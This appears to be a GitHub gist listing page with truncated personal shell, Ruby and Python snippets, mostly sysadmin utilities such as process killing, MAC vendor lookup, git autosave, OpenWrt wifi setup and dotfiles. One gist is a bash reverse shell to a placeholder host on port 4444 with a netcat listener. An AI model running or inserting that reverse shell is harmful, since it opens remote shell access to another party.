This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def factorial(count) | |
fact = 0 | |
if count >= 0 | |
fact = (factorial(count-1))*count | |
end | |
if count == 0 | |
fact = 1 | |
end | |
fact |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /bin/bash | |
pid=`ps aux | grep "Google Chrome Helper" | awk '{ if ($3>=80) print $2}'` | |
if [ "$pid" != "" ]; then | |
kill -9 $pid | |
else | |
echo "No Google Chrome helper using more than 80% CPU" | |
fi |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
curl -vs http://standards.ieee.org/develop/regauth/oui/oui.txt 2>&1 | grep `ifconfig | grep HWaddr | awk '{print $5}' | sed 's/:/-/g' | cut -c 1-8` | awk '{ print $3}' | |
#nastyonelineroftheday | |
#gets you a vendor based on hardware MAC address |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/bin/bash -i >& /dev/tcp/internetip/4444 0>&1 | |
other window: | |
nc -lp 4444 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
while true; do echo "saving"; git add --all :/; git commit -am "autosaving `date`"; git push origin master; sleep 900; done |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
SSID="NEXX" | |
KEY="wpapassphrase" #between 8-63 chars, alphanumeric | |
#from http://onionwrt.us.to/install | |
opkg update | |
# Configure wifi. | |
mv /etc/config/wireless /etc/config/wireless.bak | |
wifi detect |grep -v disabled|grep -v REMOVE > /etc/config/wireless |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /usr/bin/env python | |
#requires amazon boto package | |
#pip install boto | |
#s3 web interface bucket policy PUT THIS IN YOUR BUCKET | |
bucket_policy=""" | |
{ | |
"Version": "2008-10-17", |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# /etc/profile /etc/bash.bashrc $USER/.profile $USER/.bashrc | |
# Getting confused? | |
# http://stefaanlippens.net/bashrc_and_others | |
# this file is sourced on login by $HOME/.profile if you are using | |
# the standard set of dotfiles | |
# Building the shell environment | |
# Looks for an aliases file and uses it if it exists | |
if [ -f ~/.bash_aliases ] ; then |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# THIS IS THE PRETTY BIT | |
# #change the hardstatus settings to give an window list at the bottom of the | |
# ##screen, with the time and date and with the current window highlighted | |
encoding UTF-8 | |
hardstatus alwayslastline | |
hardstatus string '%{= mK}%-Lw%{= KW}%50>%n%f* %t%{= mK}%+Lw%< %{= kG}%-=%D %d %M %Y %c:%s%{-}' | |
hardstatus string '%{= kG}[ %{G}%H %{g}][%= %{= kw}%?%-Lw%?%{r}(%{W}%n*%f%t%?(%u)%?%{r})%{w}%?%+Lw%?%?%= %{g}][%{B} %d/%m %{W}%c %{g}]' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# simple script to find content of files based on extensions | |
# and a given string | |
# usage ./find.sh "some string to find in files" .py | |
# will find all instances where that string was in a file.py | |
phrase=$1 | |
fileextension=$2 | |
for file in `find $(pwd) -name \*$fileextension -print`; do | |
if [ -e $file ]; then | |
cat $file | grep -i "$phrase"; | |
if [ $? -eq 0 ]; then |
OlderNewer